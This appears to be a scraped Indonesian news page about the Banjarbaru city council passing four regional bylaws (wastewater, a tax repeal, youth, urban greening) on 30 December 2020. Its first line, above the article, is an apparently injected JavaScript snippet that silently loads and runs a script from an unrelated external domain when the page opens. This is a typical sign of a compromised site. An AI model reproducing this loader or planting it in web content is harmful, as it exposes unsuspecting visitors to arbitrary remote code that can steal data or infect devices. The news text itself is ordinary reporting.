(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Menutup penghujung tahun 2020, DPRD Banjarbaru menetapkan 4 Rancangan Peraturan Daerah (Raperda) menjadi Perda. Penetapan tertuang dalam hasil gelaran rapat paripurna, Rabu (30/12/2020) siang.
Rapat tersebut dipimpin Ketua DPRD Banjarbaru Fadliansyah diikuti seluruh anggoat legislatif. Dihadiri Wakil Wali Kota Banjarbaru Darmawan Jaya Setiawan bersama kepala SKPD di lingkungan Pemerintah Kota (Pemko) Banjarbaru.
Empat buah Perda yang disahkan, dua di antaranya merupakan usulan dari Pemko Banjarbaru dan dua Perda lainnya dari inisiatif para wakil rakyat.
Dua Perda usulan Pemko Banjarbaru yang ditetapkan ialah Perda tentang pengelolaan air limbah domestik dan Perda tentang pencabutan Perda nomor 6 tahun 2011 tentang pajak mineral bukan logam dan batuan.
Sementara dua Perda yang merupakan inisiatif DPRD Banjarbaru ialah Perda tentang kepemudaan dan Perda tentang penyelenggaraan penghijauan kota dan perlindungan pohon.
“Alhamdulillah, hari kita menggelar rapat paripurna terakhir di tahun 2020, sekaligus menetapkan empat buah Raperda menjadi Perda. Dengan ini kinerja DPRD Banjarbaru sudah tuntas di tahun ini,” kata Ketua DRD Banjarbaru Fadliansyah.
Menurut politikus partai Gerindra itu, rampungnya seluruh tugas di DPRD Banjarbaru tidak lepas dari kerja keras seluruh anggota legislatif. “Saya mengapresiasi kepada kawan-kawan anggotan dewan yang telah berkerja dengan maksimal. Hari ini kita buktikan, semua perkejaan tuntas, tidak ada PR yang tertunda ke tahun depan,” bebernya.
Selain itu, Fadli -akrab disapa- juga menerangkan akan pentingnya 4 buah Perda yang disahkan hari ini. Seperti halnya Perda tentang kepemudaan, kini telah regulasi di bidang kepemudaan mengharuskan pemerintah untuk memberdayakan pemuda di Banjarbaru.
“Dan kita harapkan implementasinya dapat mendorong capaian prestasi para pemuda di Banjarbaru. Lalu ada juga Perda tentang penghijauan kota yang kamu usulkan sebagai uapaya mendoring pemerintah dalam melestarikan lingkungan. Apalagi di Banjarbaru susah banyak membangun RTH dengan segala tanaman khasnya,” lugasnya.
Di sisi lain, Wakil Wali Kota Banjarbaru Darmawan Jaya Setiawan mengapersiasi atas kinerja DPRD Banjarbaru. Baginya, dua Perda usulan Pemko merupakan prioritas demi kepentingan masyarakat Banjarbaru itu sendiri.
“Contohnya, Perda tentang pengelolaan air limbah domestik. Ini penting karena menyangkut kesehatan. Saat ini sedang musim hujan dan tentu sangat berpotensi memunculkan berbagai jenis penyakit. Untuk itu perlu adanya pengelolaan air limbah yang baik dan sesuai dengan mekanisme yang seharusnya,” ujar Jaya. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.